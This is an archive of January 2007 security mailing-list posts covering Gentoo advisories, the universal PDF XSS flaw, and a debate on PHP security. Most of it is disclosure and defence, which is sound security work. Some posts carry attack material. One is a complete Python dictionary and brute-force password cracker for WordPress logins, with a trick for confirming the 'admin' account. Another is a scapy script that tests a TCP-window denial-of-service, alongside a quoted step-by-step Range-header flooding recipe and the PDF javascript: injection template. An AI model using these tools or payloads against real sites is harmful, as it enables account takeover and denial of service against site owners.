the intended recipient(s), any disclosure, copying, distribution, or any
other action taken, or omitted to be taken, in reliance on such
information is prohibited and may be unlawful. If you are not the
intended recipient and have received this message in error, please
inform the sender and delete this mail and any attachments.

The views expressed in this email do not necessarily reflect NGS policy.
NGS accepts no liability or responsibility for any onward transmission
or use of emails and attachments having left the NGS domain.

NGS and NGSSoftware are trading names of Next Generation Security
Software Ltd. Registered office address: 52 Throwley Way, Sutton, SM1
4BF with Company Number 04225835 and VAT Number 783096402

[ GLSA 200701-02 ] Mozilla Firefox: Multiple vulnerabilities

[Raphael Marichez]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200701-02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: Mozilla Firefox: Multiple vulnerabilities
  Date: January 04, 2007
  Bugs: #156023
ID: 200701-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


Multiple vulnerabilities have been reported in Mozilla Firefox, some of
which may allow the remote execution of arbitrary code.

Background
==

Mozilla Firefox is a popular open-source web browser from the Mozilla
Project.

Affected packages
=

---
 Package /  Vulnerable  /   Unaffected
---
  1  www-client/mozilla-firefox  < 1.5.0.9  >= 1.5.0.9
  2  www-client/mozilla-firefox-bin  < 1.5.0.9  >= 1.5.0.9
---
 2 affected packages on all of their supported architectures.
---

Description
===

An anonymous researcher found evidence of memory corruption in the way
Mozilla Firefox handles certain types of SVG comment DOM nodes.
Additionally, Frederik Reiss discovered a heap-based buffer overflow in
the conversion of a CSS cursor. Other issues with memory corruption
were also fixed. Mozilla Firefox also contains less severe
vulnerabilities involving JavaScript and Java.

Impact
==

An attacker could entice a user to view a specially crafted web page
that will trigger one of the vulnerabilities, possibly leading to the
execution of arbitrary code. It is also possible for an attacker to
perform cross-site scripting attacks, leading to the exposure of
sensitive information, like user credentials.

Workaround
==

There are no known workarounds for all the issues at this time.

Resolution
==

All Mozilla Firefox users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=www-client/mozilla-firefox-1.5.0.9"

All Mozilla Firefox binary release users should upgrade to the latest
version:

# emerge --sync
# emerge --ask --oneshot --verbose 
">=www-client/mozilla-firefox-bin-1.5.0.9"

References
==

  [ 1 ] CVE-2006-6497
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6497
  [ 2 ] CVE-2006-6498
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6498
  [ 3 ] CVE-2006-6499
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6499
  [ 4 ] CVE-2006-6500
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6500
  [ 5 ] CVE-2006-6501
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6501
  [ 6 ] CVE-2006-6502
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6502
  [ 7 ] CVE-2006-6503
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6503
  [ 8 ] CVE-2006-6504
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6504
  [ 9 ] CVE-2006-6506
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6506
  [ 10 ] CVE-2006-6507
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6507

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200701-02.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


pgpzAEFzwjuX1.pgp
Description: PGP signature

Re: a cheesy Apache / IIS DoS vuln (+a question)

[Rob Sherwood]

On Thu, Jan 04, 2007 at 12:45:35PM +0100, Pieter de Boer wrote:
> Michal Zalewski wrote:
> >  2) Negotiate a high TCP window size for each of the connections (1 GB
> > should be doable),
> >  
> For instance, FreeBSD by default has TCP send buffers set to 32KB. It 
> does not (apart from recent work) do dynamic buffer sizing. 32KB is all 
> you get. Sysadmins probably raise this value, but, especially with large 
> amounts of connections, it can't be set too high or mbufs will run out. 
> I'd guess people wouldn't set it to much more than 1MB or such.

Correct. rfc2414 says the initial sender window should be:

  min (4*MSS, max (2*MSS, 4380 bytes))  

So you can't just connect, request, and drop the connection to get a GB
of traffic.  The attacker must send acks periodically.

> Concluding, I think your suggested attack might work, but it would need 
> a braindead configuration on the sender's end to be really effective. 
> It's probably easier just to send some ACKs now and then..

This is exactly the attack described in CERT Advisory [VU#102014]
(http://www.kb.cert.org/vuls/id/102014)

and: 

Misbehaving TCP Receivers Can Cause Internet-Wide Congestion Collapse
Rob Sherwood, Bobby Bhattacharjee, Ryan Braud
Published in Computer and Communications Security (CCS) 2005
(http://www.cs.umd.edu/~capveg/optack/optack-ccs05.pdf)


- Rob Sherwood
.

Re: [WEB SECURITY] RE: [Full-disclosure] Universal XSS with PDF files: highly dangerous

[RSnake]

Last night I came up with a proof of concept to exploit this locally:

http://ha.ckers.org/blog/20070103/pdf-xss-can-compromise-your-machine/

If you have Adobe 7.0 installed there is a at least one standard PDF
installed on the local drive.  Ouch.

-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/


On Thu, 4 Jan 2007, Larry Seltzer wrote:


"According to public reports, this vulnerability is addressed in Adobe

Acrobat Reader 8.0."

I've actually tested it. On Reader 8 Acrobat you get a messagebox that
says "This operation is not allowed"

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.eweek.com/blogs/larry%5Fseltzer/
Contributing Editor, PC Magazine
[EMAIL PROTECTED]


The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/

The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

Wordpress <= 2.x dictionnary & Bruteforce attack

[kadaj-diabolik]

## Source code #
#!usr/bin/python
# Flaw found on Wordpress
# that allow Dictionnary & Bruteforce attack
# Greetz goes to : NeoMorphS, Tiky 
# Vendor : http://wordpress.org/
# Found by : Kad ([EMAIL PROTECTED] / [EMAIL PROTECTED])
import urllib , urllib2, sys, string
tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits )
tab = [  i for i in tab ]
def node( table, parent, size ):
if size == 0:
pass
else:
for c in table:
string = "%s%s"%( parent, c )
data = {'log': sys.argv[2],
'pwd': string}
print "[+] Testing : "+string
request = urllib2.Request(server, 
urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password." in f: print "[!] 
Password is : "+mot ; break
node( table, string, size-1 )
 
def bruteforce( table, size ):
for c in table:
node( table, c, size-1 )

if (len(sys.argv) < 3):
print "Usage : float.py"
print "\nDefault: User is 'admin'"
print "Choice : 1} Dictionnary Attack, use dictionnary file"
print " 2} Bruteforce Attack, use number of character for password"

else:
server = sys.argv[1]
if sys.argv[3] == "1":
a , b = open(sys.argv[4],'r') , 0
for lines in a: b = b + 1
a.seek(0)   
c = 0
while (c < b):
mot = a.readline().rstrip()
data = {'log': sys.argv[2],
'pwd': mot}
print "[+] Testing : "+mot
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password." in f: print "[!] Password is 
: "+mot ; break
else: c = c + 1 ; pass
if sys.argv[3] == "2":
print "[-] Server is : "+server
print "[-] User is : "+sys.argv[2]
print "[-] Number of characters are : "+sys.argv[4]
number = int(sys.argv[4])
bruteforce( tab, number )
## Source code #

The problem is : many time, the default user who is created is : admin, then 
you can try to crack the password, to stop that, you can use image confirmation 
or a limit for the connection (for example, only 5 tests). 

To know if "admin" is the default user, you can try to go to the login page : 
http://site.com/wp-login.php and you try ; login : admin, pass : test (or 
anything else). 

if "Wrong password" is printed on the page, the default user is admin, but if 
there is : "Wrong Username" then it's not the default password ;) 

Kad'

Re: [WEB SECURITY] RE: Universal PDF XSS After Party(posible solution)

[RSnake]

Be careful using either of those.  REQUEST_URI can contain anything:

http://example.com/file.pdf?whatever#vectorgoeshere

For that example the request URI will be ..pathto..file.pdf?whatever
which does not match "\.pdf$".  Likewise the second one has issues,
including the fact that referrers are not always present (Zonelabs Zone
Alarm Pro, and both Norton Internet Security and Norton Personal
Firewall).  Also, referrers are spoofable using Flash.
http://ha.ckers.org/blog/20060725/forging-http-request-headers-with-flash/
(hat tip to Amit).


-RSnake
http://ha.ckers.org/
http://sla.ckers.org/
http://ha.ckers.org/fierce/

On Thu, 4 Jan 2007, Noe Espinoza M. wrote:


We need to force to the users do download  the pdf files

And we can add to the httpd.conf or .htaccess the next code

SetEnvIf Request_URI "\.pdf$" requested_pdf=pdf
Header add Content-Disposition "Attachment" env=requested_pdf


Other solution is protect our pdf files to external links (hotlinking)

Add in .htacces

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\.)?example\.com[NC]
RewriteRule .*\.(pdf)$ http://www.example.com/images/noexternal.gif [R,NC,L]


Source from
http://seguinfo.blogspot.com/2007/01/hacking-con-browser-plugins.html



-Mensaje original-
De: pdp (architect) [mailto:[EMAIL PROTECTED]
Enviado el: jueves, 04 de enero de 2007 7:17
Para: full-disclosure@lists.grok.org.uk; bugtraq@securityfocus.com; Web
Security
Asunto: Universal PDF XSS After Party

Everybody knows about it. Everybody talks about it. We had a nice
party. It is time for estimating the damages. In this article I will
try to show the impact of the Universal PDF XSS vulnerability by
explaining how it can be used in real life situations.

http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/

--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org

[ GLSA 200701-01 ] DenyHosts: Denial of Service

[Raphael Marichez]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200701-01
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: DenyHosts: Denial of Service
  Date: January 03, 2007
  Bugs: #157163
ID: 200701-01

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


DenyHosts does not correctly parse log entries, potentially causing a
remote Denial of Service.

Background
==

DenyHosts is designed to monitor SSH servers for repeated failed login
attempts.

Affected packages
=

---
 Package  /  Vulnerable  /  Unaffected
---
  1  app-admin/denyhosts< 2.6   >= 2.6

Description
===

Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that
DenyHosts used an incomplete regular expression to parse failed login
attempts.

Impact
==

A remote unauthenticated attacker can add arbitrary hosts to the
blacklist by attempting to login with a specially crafted username. An
attacker may use this to prevent legitimate users from accessing a host
remotely.

Workaround
==

There is no known workaround at this time.

Resolution
==

All DenyHosts users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose ">=app-admin/denyhosts-2.6"

References
==

  [ 1 ] CVE-2006-6301
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6301

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200701-01.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2007 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


pgpDUTGBUnr9M.pgp
Description: PGP signature

Re: PHP as a secure language? PHP worms? [was: Re: new linux malware]

[Ronald Chmara]

On Jan 2, 2007, at 10:37 AM, Darren Reed wrote:

In some mail from Jim Harrison, sie said:

Again; I agree with and fully support the effort.  What I'm trying to
point out is the literal impossibility of actually achieving "genuine
security" in either our code or the languages it's written in.

Well given that the ultimate root of any invention is going to be
human, you're saying "genuine security" is impossible.


"Genuine Security" is a marketing term (a misleading one, at that). A  
programming language without security risks is pretty much useless. A  
capable web programming language without security risks is darned  
near impossible.



I'm quite confident that someone could develop a very secure
interpreted language.  It might not do a lot, but it could easily
be done (even if only to prove you wrong) - if one doesn't already
exist.  I could probably even prove a case with /bin/sh.


Sorry, /bin/sh needs read access to /etc/passwd for uname checks, and  
thus, allows for information disclosure.


Hm.

LOGO is pretty safe to use. I'm not sure how much you can do with it  
anymore. You might be able to draw web pages really slowly.



The problem we have right now is that the language commonly used for
dynamic web pages on non-Microsoft platforms is PHP and that this has
not been engineered *for security*.


PHP was engineered with the power (and responsibilities) of C. It  
allows for on-the-fly database administration, file access at the  
level of permission given to the web server process, and input/output  
at the level of raw data streams.


PHP is not a web "scripting" language, so much as a scripting  
interface to raw binary libraries on the disk, and raw machine  
resources. Thus, if an admin wants to build a PHP program to  
administer a massive DB cluster at the CLUI level, they can. If they  
want to run the world's largest online encyclopedia, they can.


They can also write an address book.


The goal of a language such as PHP should be to make it possible
to do what is required without the person using it needing to know
anything about security or secure programming practices.


I think you might be a tad confused about the goals of PHP, or hoping  
that their goals match yours.


"PHP, which stands for "PHP: Hypertext Preprocessor" is a widely-used  
Open Source general-purpose scripting language that is especially  
suited for Web development and can be embedded into HTML. Its syntax  
draws upon C, Java, and Perl, and is easy to learn. The main goal of  
the language is to allow web developers to write dynamically  
generated webpages quickly, but you can do much more with PHP."


Note: "web developers", not "bored college students who tend to put  
SQL arguments into a GET string" or "oops, I didn't bother to check  
my args because the bong distracted me".


Just because it's easy to learn how to use a gun does *not* give  
people license to shoot themselves in the foot and then complain that  
the gun was "too easy to use".



Just as
people using perl generally don't need to worry about buffer
overflows,


Er, what? As soon as a perl user "glues" into an external library,  
they better start to worry about such things, or expect to get a pink  
slip.



why should people using PHP need to worry about SQL
escapes and filepath issues?


Let us entertain your idea.

Let us imagine a language that is near useless for database  
administration, because all of the "dangerous" statements to drop  
tables, or bulk update data, are removed.
Let us imagine a language where every "dangerous" file path is  
removed, and thus, renders the language useless for any operation  
that traverses a file path.
Let us imagine a language that only allows for limited looping, so it  
cannot suck too much CPU.
Let us imagine a language where all data is "auto-sanitized", so it  
cannot handle complex binary streams.


PHP is *not*, and *never has been*, this language.

Perhaps, though, there is such a need for such a language that it can  
be developed...


...but I wouldn't use it, and neither would most of the people who  
need powerful code tools. I suggest you study the last 10 years of  
"web languages", it's a veritable highway of death of similar  
intentions, and dead-ends.


-Bop

SAP Security Contact

[Mark Litchfield]

I do not like to bother this mailing list with such requests, but as you 
will see from below (SAP's response), I feel this is a last resort.  I have 
also phoned SAP leaving a voice mail but with no success.


So if anyone can assist with a contact email address at SAP, ideally an 
individual, this would be greatly appreciated.


Thanks in advance for any help.

Cheers

Mark



From: SAP [mailto:[EMAIL PROTECTED]
Sent: Thu 1/4/2007 3:16 PM
To: Mark Litchfield
Subject: Re: General Enquiry (KMM3303039I24953L0KM)




Mark

Thank you for your interest in SAP. You will need to send your request 
directly to our headquarters location in writing.


Here is the headquarters address.

SAP Americas
3999 West Chester Pike
Newtown Square,  Pa   19073


Original Message Follows: 
InfoRequest - General Enquiry

Your Message
I am contacting SAP about:
General inquiry
Dear Sir / Madam,

I am conducting vulnerabvility research into SAP and the various components 
that make up SAP. So far my research has found 8 security vulnerabilities, 
some of which allow an attcker to execute code remotely on the SAP server as 
SYSTEM without the need for authentication.


I am looking for if possible, a security contact within SAP that I may share 
my findings with so the necessary code fixes can be put in place to prevent 
these issues.


Any assistance you could offer would be greatly appreciated.

Best Regards

Mark Litchfield
www.ngssoftware.com

Re: PHP as a secure language? PHP worms? [was: Re: new linux malware]

[Bill Nash]

On Wed, 3 Jan 2007, Darren Reed wrote:

> The problem we have right now is that the language commonly used for
> dynamic web pages on non-Microsoft platforms is PHP and that this has
> not been engineered *for security*.
> 
> The goal of a language such as PHP should be to make it possible
> to do what is required without the person using it needing to know
> anything about security or secure programming practices.  Just as
> people using perl generally don't need to worry about buffer
> overflows, why should people using PHP need to worry about SQL
> escapes and filepath issues?  They shouldn't.

The point Darren is driving home with a large hammer, isn't the 
languages themselves, but how they are used, in combination with the 
almost absent barrier-to-entry in deploying vulnerable platforms.

I think another major factor with regard to modern 
vulnerabilities, is that many bounds checks and input validation are being 
done with Javascript, or to be more specific, the untrustable client 
device. This is the equivalent of loaning money to someone, and later 
asking them to remind you how much they owe you because you forgot.

PHP, or Perl, or ASP, as popular engines, could all benefit from a 
community driven set of validation routines applied either in the base 
interpreters, or as an includable library to give the less clueful a leg 
up. It's a very easy thing for me to take my custom platform and include 
such a thing, it's not much farther to do the same for others.

Cherry pick the top ten root causes of your 100 favorite 
vulnerabilities. Come up with standard routines that developers can use to 
scrub their input, and release them for the most affected platforms. Get 
with the distributors of those platforms and get them implemented into the 
next versions. Rinse, lather, repeat. The problem here, of course, is 
finding a group with the motivation, time, and resources to do so. Without 
some intended course of action, this thread is just talk.

Also, if you're on vacation, which many of you are, a large 
contingent of you have crappy auto-responders that don't recognize mailing 
list membership. I hope Santa brought you coal.

- billn

Re: [Full-disclosure] Universal PDF XSS After Party(posible solution)

[Darren Bounds]

If I recall correctly from the Content-Disposition HTML attachment
handling vulnerabilities last year, Opera didn't reliably abide by the
Content-Disposition header.

Additionally, Content-Disposition support in IE, Firefox, Opera,
Safari and a few others was extremely inconsistent from version to
version.


--

Thank you,
Darren Bounds



On 1/4/07, Noe Espinoza M. <[EMAIL PROTECTED]> wrote:

We need to force to the users do download  the pdf files

And we can add to the httpd.conf or .htaccess the next code

SetEnvIf Request_URI "\.pdf$" requested_pdf=pdf
Header add Content-Disposition "Attachment" env=requested_pdf


Other solution is protect our pdf files to external links (hotlinking)

Add in .htacces

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://([-a-z0-9]+\.)?example\.com[NC]
RewriteRule .*\.(pdf)$ http://www.example.com/images/noexternal.gif [R,NC,L]


Source from
http://seguinfo.blogspot.com/2007/01/hacking-con-browser-plugins.html



-Mensaje original-
De: pdp (architect) [mailto:[EMAIL PROTECTED]
Enviado el: jueves, 04 de enero de 2007 7:17
Para: full-disclosure@lists.grok.org.uk; bugtraq@securityfocus.com; Web
Security
Asunto: Universal PDF XSS After Party

Everybody knows about it. Everybody talks about it. We had a nice
party. It is time for estimating the damages. In this article I will
try to show the impact of the Universal PDF XSS vulnerability by
explaining how it can be used in real life situations.

http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/

--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

RE: PHP as a secure language? PHP worms? [was: Re: new linux malware]

[Jim Harrison]

"..comment has nothing to do with either.." - I'm addressing the
generalistic "genuine security" arguments offered in this discussion.  I
have no contrary argument to the point that PHP in its current
incarnation is not designed to be secure; only that those who espouse
the idyllic language are in for a nasty surprise (if they're paying
attention at all).

"..you're saying "genuine security" is impossible.." - yes; that's
exactly what I'm saying.
I'm not trying to use it as a dissuading argument, only a reality check.

-Original Message-
From: Darren Reed [mailto:[EMAIL PROTECTED] 
Sent: Tuesday, January 02, 2007 10:37 AM
To: Jim Harrison
Cc: bugtraq@securityfocus.com
Subject: Re: PHP as a secure language? PHP worms? [was: Re: new linux
malware]

In some mail from Jim Harrison, sie said:
> 
> No; this wasn't flame-bait, although I'd be silly not to expect some.
> Let me make my position clear; the goals of secure coding and secure 
> languages are both grand and well worth the time spent.
> 
> There are two primary factors which make this an impossible task:
> 
> 1. "secure" is moving, contextual target.  That which is deemed
"secure"
> by today's standards will be "just ok" or "watta joke" by future 
> evaluators.  What is good enough for Joe's Garage won't even make it 
> in the door of Fred's Bank (3 anti-social points for each reference), 
> although some could argue that Joe's security requirements should 
> equal Fred's, since they both pin their business on it.

This discussion is about secure programming and the problems related to
PHP.  Your comment has nothing to do with either except to state that
what is considered secure by two different environments are actually
different (big deal.)

> 2. Until the human factor is removed from both, mistakes and simple 
> ignorance will always render them both "less than secure" in any 
> context.  This is the core of my argument.
> 
> Again; I agree with and fully support the effort.  What I'm trying to 
> point out is the literal impossibility of actually achieving "genuine 
> security" in either our code or the languages it's written in.

Well given that the ultimate root of any invention is going to be human,
you're saying "genuine security" is impossible.

I'm quite confident that someone could develop a very secure interpreted
language.  It might not do a lot, but it could easily be done (even if
only to prove you wrong) - if one doesn't already exist.  I could
probably even prove a case with /bin/sh.

The problem we have right now is that the language commonly used for
dynamic web pages on non-Microsoft platforms is PHP and that this has
not been engineered *for security*.

The goal of a language such as PHP should be to make it possible to do
what is required without the person using it needing to know anything
about security or secure programming practices.  Just as people using
perl generally don't need to worry about buffer overflows, why should
people using PHP need to worry about SQL escapes and filepath issues?
They shouldn't.

Darren

All mail to and from this domain is GFI-scanned.

Re: PHP as a secure language? PHP worms? [was: Re: new linux malware]

[Lawrence Paul MacIntyre]

Dana:

The "S" in RSA stands for Adi Shamir, not Ravi Sethi.  Ravi is the 
author of the "Dragon Book", however.


This one time, at band camp, Dana Hudes wrote:

Darren Reed wrote:


In functional programming languages (think 4GLs like prolog),
Prolog isn't a 4GL (it was invented in 1972 ).  In Ravi Sethi's  
_Programming Languages: Concepts and Paradigms_ (2nd ed1996) he 
defines some of the paradigms of programming languages; on pp 12-13, 
he provides a family tree.  This book is classic (for those who don't 
know this is the 'S' in RSA,  co-author of the famous 'Dragon Book' on 
compiler design etc.) but doesn't list Perl or PHP or Java -- but the 
concepts are the same.  I'm summarizing various pieces of the book's 
summary here and only listing the noteworthy parts:


In brief you have 3 basic paradigms (more could be invented later; PHP 
and Perl aren't inventing new paradigms):
*Imperative - these are the descendants of FORTRAN and ALGOL: Pascal 
(and its descendants Modula-2 and Ada), C, C++, Java, etc.
*Functional e.g. LISP and its descendants ML, Scheme, and Haskell (a 
descendant of ML and Scheme).

*Logic e.g. Prolog

Object-Oriented is an extension found in imperative (C++, Java, 
etc.)and somewhat in functional (viz., CLOS); it has its origins in 
Simula and Smalltalk.

 rather
than functional programming languages (2 and 3GL - C/Pascal/perl/etc),
the ability of a programmer to do something that exposes a security
problem is greatly diminished (if we exclude "shell escapes", etc.)

Where do 9 out of 10 security problems with applications arise from?

Dealing poorly with externally supplied input.

This is the crux of nearly *all* PHP security bugs.

Maybe our problem is that PHP, perl, etc, are all built on top of C
and in such a manner that the origin and trustworthiness of data is
lost and can no longer be delt with in an appropriate fashion.

  
Building PHP on top of BLISS or assembler wouldn't help.  C has its 
place as a "portable assembler".  As has been noted, there aren't so 
many vulnerabilities in the PHP language parser. Design defects that 
encourage poor programming practices, sure. But you can write 
bulletproof PHP. Also note that "externally supplied input" is a broad 
range of things. As I originally stated in my previous post, use of 
type-safe languages goes a long way toward fixing these things but 
isn't a cure all (as you mention shell escapes and the like). Buffer 
overflows, now that's a defect in the design of the runtime library 
and perhaps the language. It simply should not be possible to overrun 
a buffer. Either the language auto-extends the buffer (Perl) or it 
should fail the operation if not abort the program. Yes, in C you can 
blithely write past the end of an  array and thereby smack the stack. 
You're supposed to do the work of bounds checking in your code so that 
in the cases where you KNOW that the input fits in the array (e.g. 
initializing an array from a constant; esp. when you malloc 
(strlen("foo")) you don't incur the bounds checking overhead on 
assignment. If you don't put in bounds checking where its needed 
that's your bug not the compiler's.


SQL injection attacks don't attack PHP. They don't even crash your PHP 
program. They attack the dbms and your application system (or 
'stack'). I don't believe I've seen any SQL injection attacks gain 
system privileges (only idiots run the dbms as root; I have some of 
those at work and they are fighting with me to thwart my knocking them 
out of root...come  Solaris 10 deployed in our production, I won't 
care I'll lock them in a container they will see nothing they're not 
supposed to and have access only to their own stuff not the system and 
finally the DBAs will stop crying that they want to run top all the 
time -- and if they DO run top they'll only see their own stuff...they 
aren't getting anywhere near the global zone). Rather they do 
something nasty to steal your data (e.g., username/passwords, credit 
card info and so on) or to put their own stuff in (html to load a 
virus or trojan horse etc.).


When you look at vulnerabilities you have to also look at the impact. 
Remote privilege escalation is different from having your data stolen.







So maybe there isn't a "secure" functional language yet but I can't
see why we can't develop one.
  
You keep misusing functional when you mean imperative. Have you seen 
any mention of vulnerabilities in LISP/ML/Scheme/Haskell recently? 
Mind you Scheme is all over the place because of Gnome project.
Have you read _Building Secure Software_ by Viega and McGraw? Have you 
looked at switching to ML?

Darren
  





--
 Lawrence MacIntyre   865.574.8696   [EMAIL PROTECTED]
   Oak Ridge National Laboratory
Cyber Security and Information Infrastructure Research Group

Protect your digital freedom and privacy, eliminate DRM.
Learn more at http://www.defectivebydesign.org/what_is_drm

Re: Universal XSS with PDF files: highly dangerous

[Thierry Zoller]

Dear List,

Did anybody mention this does not work in Adobe Acrobat Reader 8 ?

-- 
http://secdev.zoller.lu
Thierry Zoller
Fingerprint : 5D84 BFDC CD36 A951 2C45  2E57 28B3 75DD 0AC6 F1C7

Re: RE: [Full-disclosure] Universal XSS with PDF files: highly dangerous

[Juha-Matti Laurio]

Additionally, the public PoC doesn't work on Preview version 3.0.8 (409) on OS 
X 10.4.8.

- Juha-Matti

Larry Seltzer <[EMAIL PROTECTED]> wrote: 

>>"According to public reports, this vulnerability is addressed in Adobe
Acrobat Reader 8.0." 


I've actually tested it. On Reader 8 Acrobat you get a messagebox that
says "This operation is not allowed"

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.eweek.com/blogs/larry%5Fseltzer/
Contributing Editor, PC Magazine
[EMAIL PROTECTED] 

RE: [Full-disclosure] Universal XSS with PDF files: highly dangerous

[Larry Seltzer]

>>"According to public reports, this vulnerability is addressed in Adobe
Acrobat Reader 8.0." 

I've actually tested it. On Reader 8 Acrobat you get a messagebox that
says "This operation is not allowed"

Larry Seltzer
eWEEK.com Security Center Editor
http://security.eweek.com/
http://blog.eweek.com/blogs/larry%5Fseltzer/
Contributing Editor, PC Magazine
[EMAIL PROTECTED] 

Universal PDF XSS After Party

[pdp (architect)]

Everybody knows about it. Everybody talks about it. We had a nice
party. It is time for estimating the damages. In this article I will
try to show the impact of the Universal PDF XSS vulnerability by
explaining how it can be used in real life situations.

http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/

--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org

Re: a cheesy Apache / IIS DoS vuln (+a question)

[Siim Põder]

Michal Zalewski wrote:
>   1) Connect to the server (as many times as allowed by the remote party
>  or deemed appropriate for the purpose of this demonstration),
> 
>   2) Negotiate a high TCP window size for each of the connections (1 GB
>  should be doable),
> 
>   3) Send a partial request as follows for each of the connections:
>  GET /foo.html HTTP/1.1
>  Host: example.com
>  Range: bytes=0-,0-,0-,0-,0-... (up to 8 kB for Apache, 16 kB for IIS)
> 
>  Each "0-" would generate a separate multipart/byteranges containing
>  the entire file (bytes from 0 'til EOF).
> 
>   4) Send a closing newline within each of the connections to commit
>  the request,
> 
>   5) Silently drop the connections, possibly re-connect to dial-up / DSL
>  to duck the responses that would keep pouring at full speed until
>  TCP window size is exhausted or an ISP-level non-delivery /
>  congestion control mechanism kicks in (and isn't filtered out
>  down the route).
> 
> This should cause the server to send gigabytes of data, with only a
> minimal bandwidth expense on the attacker's end.

Did you actually try it? I can't produce this, so there's propably
something I'm missing. SYN with window scaling 10, request an url, ack
packets until ctrl-c. At least the apache on my personal linux server
immediately stops sending new packets after the acks stop.

Tried the following scapy script:

#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 5:
   print "Usage: ./wscale.py"
   sys.exit(1)

print sys.argv[3]
lport=random.randint(1025,6000)

print "SEND SYN:"
handshake1=IP(src=sys.argv[2],
dst=sys.argv[1])/TCP(dport=int(sys.argv[3]), sport=lport, flags="S",
seq=1, options=[('WScale', 10)])
handshake1.payload.show()
ans1 = sr1(handshake1)

print "RECV SYNACK:"
ans1.payload.show()

acking=ans1.payload.seq+1

print "SEND ACK:"
handshake2=IP(src=sys.argv[2],
dst=sys.argv[1])/TCP(dport=int(sys.argv[3]), sport=lport, flags="A",
seq=2, ack=acking)
handshake2.payload.show()
send(handshake2)

print "SEND REQ:"
request=IP(src=sys.argv[2], dst=sys.argv[1])/TCP(dport=int(sys.argv[3]),
sport=lport, flags="A", seq=2, ack=acking)/Raw("GET " + sys.argv[4] + "
HTTP/1.0\n\n")
request.payload.show()
ans2=sr1(request)

print "RECV DATA1:"
ans2.payload.show()

while True:
   ack=IP(src=sys.argv[2], dst=sys.argv[1])/TCP(dport=int(sys.argv[3]),
sport=lport, flags="A", seq=(ans2.payload.ack),
ack=(ans2.payload.seq+len(ans2.payload.payload)))
   ans2=sr1(ack)
   print ans2.payload.show()

Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous

[HASEGAWA Yosuke]

Hi,

As the server side solution, force rewriting fragment identifiers in URI by
redirecion responce can be considered.

Disallow the directoly access to PDF on the server and return response such as:
--
Location: http://example.com/one-shot-url.pdf#top
--

As a result, fragment identifiers in URI is rewritten and executing
malicious script
can be prevented.
"one-shot-url" must be unpredictable  disposable address by attacker.

Regards,

On 1/3/07, pdp (architect) <[EMAIL PROTECTED]> wrote:

I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:

http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here

